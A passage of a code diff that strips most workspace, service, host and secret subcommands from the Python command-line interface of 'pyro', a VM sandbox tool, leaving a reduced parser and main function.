default=DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, - help="Maximum time to wait for readiness before failing the service start.", - ) - workspace_service_start_parser.add_argument( - "--ready-interval-ms", - type=int, - default=DEFAULT_SERVICE_READY_INTERVAL_MS, - help="Polling interval between readiness checks.", - ) - workspace_service_start_parser.add_argument( - "--secret-env", - action="append", - default=[], - metavar="SECRET[=ENV_VAR]", - help="Expose one persisted workspace secret as an environment variable for this service.", - ) - workspace_service_start_parser.add_argument( - "--publish", - action="append", - default=[], - metavar="GUEST_PORT|HOST_PORT:GUEST_PORT", - help=( - "Publish one guest TCP port on 127.0.0.1. Requires workspace network policy " - "`egress+published-ports`." - ), - ) - workspace_service_start_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_service_start_parser.add_argument( - "command_args", - nargs="*", - metavar="ARG", - help="Service command and arguments. Prefix them with `--`.", - ) - workspace_service_list_parser = workspace_service_subparsers.add_parser( - "list", - help="List named services in one workspace.", - description="List named services and their current states for one workspace.", - epilog="Example:\n pyro workspace service list WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_service_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_service_list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_service_status_parser = workspace_service_subparsers.add_parser( - "status", - help="Inspect one service.", - description="Show state and readiness metadata for one named workspace service.", - epilog="Example:\n pyro workspace service status WORKSPACE_ID app", - formatter_class=_HelpFormatter, - ) - workspace_service_status_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_service_status_parser.add_argument("service_name", metavar="SERVICE_NAME") - workspace_service_status_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_service_logs_parser = workspace_service_subparsers.add_parser( - "logs", - help="Read persisted service stdout and stderr.", - description="Read service stdout and stderr without using `workspace logs`.", - epilog="Example:\n pyro workspace service logs WORKSPACE_ID app --tail-lines 50", - formatter_class=_HelpFormatter, - ) - workspace_service_logs_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_service_logs_parser.add_argument("service_name", metavar="SERVICE_NAME") - workspace_service_logs_parser.add_argument( - "--tail-lines", - type=int, - default=DEFAULT_SERVICE_LOG_TAIL_LINES, - help="Maximum number of trailing lines to return from each service log stream.", - ) - workspace_service_logs_parser.add_argument( - "--all", - action="store_true", - help="Return full stdout and stderr instead of tailing them.", - ) - workspace_service_logs_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_service_stop_parser = workspace_service_subparsers.add_parser( - "stop", - help="Stop one running service.", - description="Stop one named workspace service with TERM then KILL fallback.", - epilog="Example:\n pyro workspace service stop WORKSPACE_ID app", - formatter_class=_HelpFormatter, - ) - workspace_service_stop_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_service_stop_parser.add_argument("service_name", metavar="SERVICE_NAME") - workspace_service_stop_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_list_parser = workspace_subparsers.add_parser( - "list", - help="List persisted workspaces.", - description="List persisted workspaces with names, labels, state, and activity ordering.", - epilog="Example:\n pyro workspace list", - formatter_class=_HelpFormatter, - ) - workspace_list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_update_parser = workspace_subparsers.add_parser( - "update", - help="Update workspace name or labels.", - description="Update discovery metadata for one existing workspace.", - epilog=dedent( - """ - Examples: - pyro workspace update WORKSPACE_ID --name repro-fix - pyro workspace update WORKSPACE_ID --label owner=codex --label issue=123 - pyro workspace update WORKSPACE_ID --clear-label issue --clear-name - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_update_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_update_parser.add_argument("--name", help="Set or replace the workspace name.") - workspace_update_parser.add_argument( - "--clear-name", - action="store_true", - help="Clear the current workspace name.", - ) - workspace_update_parser.add_argument( - "--label", - action="append", - default=[], - metavar="KEY=VALUE", - help="Upsert one workspace label. May be repeated.", - ) - workspace_update_parser.add_argument( - "--clear-label", - action="append", - default=[], - metavar="KEY", - help="Remove one workspace label key. May be repeated.", - ) - workspace_update_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_status_parser = workspace_subparsers.add_parser( - "status", - help="Inspect one workspace.", - description="Show workspace state, sizing, workspace path, and latest command metadata.", - epilog="Example:\n pyro workspace status WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_status_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_status_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_summary_parser = workspace_subparsers.add_parser( - "summary", - help="Summarize the current workspace session for review.", - description=( - "Summarize the current workspace session since the last reset, including recent " - "commands, edits, services, exports, snapshots, and current change status." - ), - epilog=dedent( - """ - Example: - pyro workspace summary WORKSPACE_ID - - Use `workspace logs`, `workspace diff`, and `workspace export` for drill-down. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_summary_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_summary_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_logs_parser = workspace_subparsers.add_parser( - "logs", - help="Show command history for one workspace.", - description=( - "Show persisted command history, including stdout and stderr, for one workspace." - ), - epilog="Example:\n pyro workspace logs WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_logs_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_logs_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_delete_parser = workspace_subparsers.add_parser( - "delete", - help="Delete one workspace.", - description="Stop the backing sandbox if needed and remove the workspace.", - epilog="Example:\n pyro workspace delete WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_delete_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_delete_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - - doctor_parser = subparsers.add_parser( - "doctor", - help="Inspect runtime and host diagnostics.", - description=( - "Check host prerequisites and embedded runtime health, plus " - "daily-loop warmth before your first run or before reconnecting a " - "chat host." - ), - epilog=dedent( - """ - Examples: - pyro doctor - pyro doctor --environment debian:12 - pyro doctor --json - """ - ), - formatter_class=_HelpFormatter, - ) - doctor_parser.add_argument( - "--platform", - default=DEFAULT_PLATFORM, - help="Runtime platform to inspect.", - ) - doctor_parser.add_argument( - "--environment", - default=DEFAULT_PREPARE_ENVIRONMENT, - help=( - "Environment to inspect for the daily-loop warm manifest. " - f"Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`." - ), - ) - doctor_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - - demo_parser = subparsers.add_parser( - "demo", - help="Run built-in demos.", - description="Run built-in demos after the basic CLI validation path works.", - epilog=dedent( - """ - Examples: - pyro demo - pyro demo --network - pyro demo ollama --verbose - """ - ), - formatter_class=_HelpFormatter, - ) - demo_subparsers = demo_parser.add_subparsers(dest="demo_command", metavar="DEMO") - demo_parser.add_argument( - "--network", - action="store_true", - help="Enable outbound guest networking for the deterministic demo.", - ) - ollama_parser = demo_subparsers.add_parser( - "ollama", - help="Run the Ollama MCP demo.", - description="Run the Ollama tool-calling demo against the `vm_run` and lifecycle tools.", - epilog=dedent( - """ - Example: - pyro demo ollama --model llama3.2:3b --verbose - """ - ), - formatter_class=_HelpFormatter, - ) - ollama_parser.add_argument( - "--base-url", - default=DEFAULT_OLLAMA_BASE_URL, - help="OpenAI-compatible base URL for the Ollama server.", - ) - ollama_parser.add_argument( - "--model", - default=DEFAULT_OLLAMA_MODEL, - help="Ollama model name to use for tool calling.", - ) - ollama_parser.add_argument( - "-v", - "--verbose", - action="store_true", - help="Print full tool loop output instead of only the summary.", - ) + demo_parser = subparsers.add_parser("demo", help="Run built-in demos.") + demo_subparsers = demo_parser.add_subparsers(dest="demo_command") + demo_parser.add_argument("--network", action="store_true") + ollama_parser = demo_subparsers.add_parser("ollama", help="Run the Ollama MCP demo.") + ollama_parser.add_argument("--base-url", default=DEFAULT_OLLAMA_BASE_URL) + ollama_parser.add_argument("--model", default=DEFAULT_OLLAMA_MODEL) + ollama_parser.add_argument("-v", "--verbose", action="store_true") return parser @@ -2727,927 +68,49 @@ def _require_command(command_args: list[str]) -> str: if command_args and command_args[0] == "--": command_args = command_args[1:] if not command_args: - raise ValueError("command is required after `--`") - return shlex.join(command_args) - - -def _read_utf8_text_file(path_value: str, *, option_name: str) -> str: - if path_value.strip() == "": - raise ValueError(f"{option_name} must not be empty") - candidate = Path(path_value).expanduser() - if not candidate.exists(): - raise ValueError(f"{option_name} file not found: {candidate}") - if candidate.is_dir(): - raise ValueError(f"{option_name} must point to a file, not a directory: {candidate}") - try: - return candidate.read_text(encoding="utf-8") - except UnicodeDecodeError as exc: - raise ValueError(f"{option_name} must contain UTF-8 text: {candidate}") from exc - - -def _parse_workspace_secret_option(value: str) -> dict[str, str]: - name, sep, secret_value = value.partition("=") - if sep == "" or name.strip() == "" or secret_value == "": - raise ValueError("workspace secrets must use NAME=VALUE") - return {"name": name.strip(), "value": secret_value} - - -def _parse_workspace_secret_file_option(value: str) -> dict[str, str]: - name, sep, file_path = value.partition("=") - if sep == "" or name.strip() == "" or file_path.strip() == "": - raise ValueError("workspace secret files must use NAME=PATH") - return {"name": name.strip(), "file_path": file_path.strip()} - - -def _parse_workspace_secret_env_options(values: list[str]) -> dict[str, str]: - parsed: dict[str, str] = {} - for raw_value in values: - secret_name, sep, env_name = raw_value.partition("=") - normalized_secret_name = secret_name.strip() - if normalized_secret_name == "": - raise ValueError("workspace secret env mappings must name a secret") - normalized_env_name = env_name.strip() if sep != "" else normalized_secret_name - if normalized_env_name == "": - raise ValueError("workspace secret env mappings must name an environment variable") - if normalized_secret_name in parsed: - raise ValueError( - f"workspace secret env mapping references {normalized_secret_name!r} more than once" - ) - parsed[normalized_secret_name] = normalized_env_name - return parsed - - -def _parse_workspace_label_options(values: list[str]) -> dict[str, str]: - parsed: dict[str, str] = {} - for raw_value in values: - key, sep, label_value = raw_value.partition("=") - if sep == "" or key.strip() == "" or label_value.strip() == "": - raise ValueError("workspace labels must use KEY=VALUE") - parsed[key.strip()] = label_value.strip() - return parsed - - -def _parse_workspace_clear_label_options(values: list[str]) -> list[str]: - parsed: list[str] = [] - for raw_value in values: - label_key = raw_value.strip() - if label_key == "": - raise ValueError("workspace clear-label values must not be empty") - parsed.append(label_key) - return parsed - - -def _parse_workspace_publish_options(values: list[str]) -> list[dict[str, int | None]]: - parsed: list[dict[str, int | None]] = [] - for raw_value in values: - candidate = raw_value.strip() - if candidate == "": - raise ValueError("published ports must not be empty") - if ":" in candidate: - raw_host_port, raw_guest_port = candidate.split(":", 1) - try: - host_port = int(raw_host_port) - guest_port = int(raw_guest_port) - except ValueError as exc: - raise ValueError( - "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" - ) from exc - parsed.append({"host_port": host_port, "guest_port": guest_port}) - else: - try: - guest_port = int(candidate) - except ValueError as exc: - raise ValueError( - "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" - ) from exc - parsed.append({"host_port": None, "guest_port": guest_port}) - return parsed + raise ValueError("command is required after `pyro run --`") + return " ".join(command_args) def main() -> None: args = _build_parser().parse_args() pyro = Pyro() - if args.command == "prepare": - try: - payload = pyro.manager.prepare_daily_loop( - args.environment, - network=bool(args.network), - force=bool(args.force), - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_prepare_human(payload) - return if args.command == "env": if args.env_command == "list": - list_payload: dict[str, Any] = { - "catalog_version": DEFAULT_CATALOG_VERSION, - "environments": pyro.list_environments(), - } - if bool(args.json): - _print_json(list_payload) - else: - _print_env_list_human(list_payload) + _print_json( + { + "catalog_version": DEFAULT_CATALOG_VERSION, + "environments": pyro.list_environments(), + } + ) return if args.env_command == "pull": - if bool(args.json): - pull_payload = pyro.pull_environment(args.environment) - _print_json(pull_payload) - else: - _print_phase("pull", phase="install", environment=args.environment) - pull_payload = pyro.pull_environment(args.environment) - _print_phase("pull", phase="ready", environment=args.environment) - _print_env_detail_human(pull_payload, action="Pulled") + _print_json(dict(pyro.pull_environment(args.environment))) return if args.env_command == "inspect": - inspect_payload = pyro.inspect_environment(args.environment) - if bool(args.json): - _print_json(inspect_payload) - else: - _print_env_detail_human(inspect_payload, action="Environment") + _print_json(dict(pyro.inspect_environment(args.environment))) return if args.env_command == "prune": - prune_payload = pyro.prune_environments() - if bool(args.json): - _print_json(prune_payload) - else: - _print_prune_human(prune_payload) - return - if args.command == "host": - config = _build_host_server_config(args) - if args.host_command == "connect": - try: - payload = connect_cli_host(args.host, config=config) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_host_connect_human(payload) - return - if args.host_command == "print-config": - try: - output_path = ( - None if args.output is None else Path(args.output).expanduser().resolve() - ) - payload = print_or_write_opencode_config(config=config, output_path=output_path) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_host_print_config_human(payload) - return - if args.host_command == "doctor": - try: - config_path = ( - None - if args.config_path is None - else Path(args.config_path).expanduser().resolve() - ) - entries = doctor_hosts(config=config, config_path=config_path) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_host_doctor_human(entries) - return - if args.host_command == "repair": - try: - if args.host != "opencode" and args.config_path is not None: - raise ValueError( - "--config-path is only supported for `pyro host repair opencode`" - ) - config_path = ( - None - if args.config_path is None - else Path(args.config_path).expanduser().resolve() - ) - payload = repair_host(args.host, config=config, config_path=config_path) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_host_repair_human(payload) + _print_json(dict(pyro.prune_environments())) return if args.command == "mcp": - pyro.create_server( - profile=args.profile, - mode=getattr(args, "mode", None), - project_path=args.project_path, - repo_url=args.repo_url, - repo_ref=args.repo_ref, - no_project_source=bool(args.no_project_source), - ).run(transport="stdio") + pyro.create_server().run(transport="stdio") return if args.command == "run": command = _require_command(args.command_args) - if bool(args.json): - try: - result = pyro.run_in_vm( - environment=args.environment, - command=command, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - timeout_seconds=args.timeout_seconds, - ttl_seconds=args.ttl_seconds, - network=args.network, - allow_host_compat=args.allow_host_compat, - ) - except Exception as exc: # noqa: BLE001 - _print_json({"ok": False, "error": str(exc)}) - raise SystemExit(1) from exc - _print_json(result) - else: - vm_id: str | None = None - try: - _print_phase("run", phase="create", environment=args.environment) - created = pyro.create_vm( - environment=args.environment, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - ttl_seconds=args.ttl_seconds, - network=args.network, - allow_host_compat=args.allow_host_compat, - ) - vm_id = str(created["vm_id"]) - _print_phase("run", phase="start", vm_id=vm_id) - pyro.start_vm(vm_id) - _print_phase("run", phase="execute", vm_id=vm_id) - result = pyro.exec_vm(vm_id, command=command, timeout_seconds=args.timeout_seconds) - except Exception as exc: # noqa: BLE001 - if vm_id is not None: - try: - pyro.manager.delete_vm(vm_id, reason="run_vm_error_cleanup") - except ValueError: - pass - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_run_human(result) - exit_code = int(result.get("exit_code", 1)) - if exit_code != 0: - raise SystemExit(exit_code) + result = pyro.run_in_vm( + environment=args.environment, + command=command, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + timeout_seconds=args.timeout_seconds, + ttl_seconds=args.ttl_seconds, + network=args.network, + ) + _print_json(result) return - if args.command == "workspace": - if args.workspace_command == "create": - secrets = [ - *(_parse_workspace_secret_option(value) for value in getattr(args, "secret", [])), - *( - _parse_workspace_secret_file_option(value) - for value in getattr(args, "secret_file", []) - ), - ] - labels = _parse_workspace_label_options(getattr(args, "label", [])) - payload = pyro.create_workspace( - environment=args.environment, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - ttl_seconds=args.ttl_seconds, - network_policy=getattr(args, "network_policy", "off"), - allow_host_compat=args.allow_host_compat, - seed_path=args.seed_path, - secrets=secrets or None, - name=args.name, - labels=labels or None, - ) - if bool(getattr(args, "id_only", False)): - _print_id_only(payload["workspace_id"]) - elif bool(args.json): - _print_json(payload) - else: - _print_workspace_summary_human(payload, action="Workspace") - return - if args.workspace_command == "list": - payload = pyro.list_workspaces() - if bool(args.json): - _print_json(payload) - else: - _print_workspace_list_human(payload) - return - if args.workspace_command == "update": - labels = _parse_workspace_label_options(getattr(args, "label", [])) - clear_labels = _parse_workspace_clear_label_options(getattr(args, "clear_label", [])) - try: - payload = pyro.update_workspace( - args.workspace_id, - name=args.name, - clear_name=bool(args.clear_name), - labels=labels or None, - clear_labels=clear_labels or None, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_summary_human(payload, action="Workspace") - return - if args.workspace_command == "exec": - command = _require_command(args.command_args) - secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) - if bool(args.json): - try: - payload = pyro.exec_workspace( - args.workspace_id, - command=command, - timeout_seconds=args.timeout_seconds, - secret_env=secret_env or None, - ) - except Exception as exc: # noqa: BLE001 - _print_json({"ok": False, "error": str(exc)}) - raise SystemExit(1) from exc - _print_json(payload) - else: - try: - payload = pyro.exec_workspace( - args.workspace_id, - command=command, - timeout_seconds=args.timeout_seconds, - secret_env=secret_env or None, - ) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_workspace_exec_human(payload) - exit_code_raw = payload.get("exit_code", 1) - exit_code = exit_code_raw if isinstance(exit_code_raw, int) else 1 - if exit_code != 0: - raise SystemExit(exit_code) - return - if args.workspace_command == "sync" and args.workspace_sync_command == "push": - if bool(args.json): - try: - payload = pyro.push_workspace_sync( - args.workspace_id, - args.source_path, - dest=args.dest, - ) - except Exception as exc: # noqa: BLE001 - _print_json({"ok": False, "error": str(exc)}) - raise SystemExit(1) from exc - _print_json(payload) - else: - try: - payload = pyro.push_workspace_sync( - args.workspace_id, - args.source_path, - dest=args.dest, - ) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_workspace_sync_human(payload) - return - if args.workspace_command == "export": - if bool(args.json): - try: - payload = pyro.export_workspace( - args.workspace_id, - args.path, - output_path=args.output, - ) - except Exception as exc: # noqa: BLE001 - _print_json({"ok": False, "error": str(exc)}) - raise SystemExit(1) from exc - _print_json(payload) - else: - try: - payload = pyro.export_workspace( - args.workspace_id, - args.path, - output_path=args.output, - ) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_workspace_export_human(payload) - return - if args.workspace_command == "diff": - if bool(args.json): - try: - payload = pyro.diff_workspace(args.workspace_id) - except Exception as exc: # noqa: BLE001 - _print_json({"ok": False, "error": str(exc)}) - raise SystemExit(1) from exc - _print_json(payload) - else: - try: - payload = pyro.diff_workspace(args.workspace_id) - except Exception as exc: # noqa: BLE001 - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - _print_workspace_diff_human(payload) - return - if args.workspace_command == "file": - if args.workspace_file_command == "list": - try: - payload = pyro.list_workspace_files( - args.workspace_id, - path=args.path, - recursive=bool(args.recursive), - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_file_list_human(payload) - return - if args.workspace_file_command == "read": - try: - payload = pyro.read_workspace_file( - args.workspace_id, - args.path, - max_bytes=args.max_bytes, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_file_read_human( - payload, - content_only=bool(getattr(args, "content_only", False)), - ) - return - if args.workspace_file_command == "write": - text = ( - args.text - if getattr(args, "text", None) is not None - else _read_utf8_text_file(args.text_file, option_name="--text-file") - ) - try: - payload = pyro.write_workspace_file( - args.workspace_id, - args.path, - text=text, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_file_write_human(payload) - return - if args.workspace_command == "patch" and args.workspace_patch_command == "apply": - patch_text = ( - args.patch - if getattr(args, "patch", None) is not None - else _read_utf8_text_file(args.patch_file, option_name="--patch-file") - ) - try: - payload = pyro.apply_workspace_patch( - args.workspace_id, - patch=patch_text, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_patch_human(payload) - return - if args.workspace_command == "snapshot": - if args.workspace_snapshot_command == "create": - try: - payload = pyro.create_snapshot(args.workspace_id, args.snapshot_name) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_snapshot_human( - payload, - prefix="workspace-snapshot-create", - ) - return - if args.workspace_snapshot_command == "list": - try: - payload = pyro.list_snapshots(args.workspace_id) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_snapshot_list_human(payload) - return - if args.workspace_snapshot_command == "delete": - try: - payload = pyro.delete_snapshot(args.workspace_id, args.snapshot_name) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - print( - "Deleted workspace snapshot: " - f"{str(payload.get('snapshot_name', 'unknown'))}" - ) - return - if args.workspace_command == "reset": - try: - payload = pyro.reset_workspace( - args.workspace_id, - snapshot=args.snapshot, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_reset_human(payload) - return - if args.workspace_command == "stop": - try: - payload = pyro.stop_workspace(args.workspace_id) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_summary_human(payload, action="Stopped workspace") - return - if args.workspace_command == "start": - try: - payload = pyro.start_workspace(args.workspace_id) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_summary_human(payload, action="Started workspace") - return - if args.workspace_command == "disk": - if args.workspace_disk_command == "export": - try: - payload = pyro.export_workspace_disk( - args.workspace_id, - output_path=args.output, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_disk_export_human(payload) - return - if args.workspace_disk_command == "list": - try: - payload = pyro.list_workspace_disk( - args.workspace_id, - path=args.path, - recursive=bool(args.recursive), - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_disk_list_human(payload) - return - if args.workspace_disk_command == "read": - try: - payload = pyro.read_workspace_disk( - args.workspace_id, - args.path, - max_bytes=args.max_bytes, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_disk_read_human( - payload, - content_only=bool(getattr(args, "content_only", False)), - ) - return - if args.workspace_command == "shell": - if args.workspace_shell_command == "open": - secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) - try: - payload = pyro.open_shell( - args.workspace_id, - cwd=args.cwd, - cols=args.cols, - rows=args.rows, - secret_env=secret_env or None, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(getattr(args, "id_only", False)): - _print_id_only(payload["shell_id"]) - elif bool(args.json): - _print_json(payload) - else: - _print_workspace_shell_summary_human(payload, prefix="workspace-shell-open") - return - if args.workspace_shell_command == "read": - try: - payload = pyro.read_shell( - args.workspace_id, - args.shell_id, - cursor=args.cursor, - max_chars=args.max_chars, - plain=bool(args.plain), - wait_for_idle_ms=args.wait_for_idle_ms, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_shell_read_human(payload) - return - if args.workspace_shell_command == "write": - try: - payload = pyro.write_shell( - args.workspace_id, - args.shell_id, - input=args.input, - append_newline=not bool(args.no_newline), - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_shell_summary_human(payload, prefix="workspace-shell-write") - return - if args.workspace_shell_command == "signal": - try: - payload = pyro.signal_shell( - args.workspace_id, - args.shell_id, - signal_name=args.signal, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_shell_summary_human( - payload, - prefix="workspace-shell-signal", - ) - return - if args.workspace_shell_command == "close": - try: - payload = pyro.close_shell(args.workspace_id, args.shell_id) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_shell_summary_human(payload, prefix="workspace-shell-close") - return - if args.workspace_command == "service": - if args.workspace_service_command == "start": - readiness_count = sum( - value is not None - for value in ( - args.ready_file, - args.ready_tcp, - args.ready_http, - args.ready_command, - ) - ) - if readiness_count > 1: - error = ( - "choose at most one of --ready-file, --ready-tcp, " - "--ready-http, or --ready-command" - ) - if bool(args.json): - _print_json({"ok": False, "error": error}) - else: - print(f"[error] {error}", file=sys.stderr, flush=True) - raise SystemExit(1) - readiness: dict[str, Any] | None = None - if args.ready_file is not None: - readiness = {"type": "file", "path": args.ready_file} - elif args.ready_tcp is not None: - readiness = {"type": "tcp", "address": args.ready_tcp} - elif args.ready_http is not None: - readiness = {"type": "http", "url": args.ready_http} - elif args.ready_command is not None: - readiness = {"type": "command", "command": args.ready_command} - command = _require_command(args.command_args) - secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) - published_ports = _parse_workspace_publish_options(getattr(args, "publish", [])) - try: - payload = pyro.start_service( - args.workspace_id, - args.service_name, - command=command, - cwd=args.cwd, - readiness=readiness, - ready_timeout_seconds=args.ready_timeout_seconds, - ready_interval_ms=args.ready_interval_ms, - secret_env=secret_env or None, - published_ports=published_ports or None, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_service_summary_human( - payload, - prefix="workspace-service-start", - ) - return - if args.workspace_service_command == "list": - try: - payload = pyro.list_services(args.workspace_id) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - 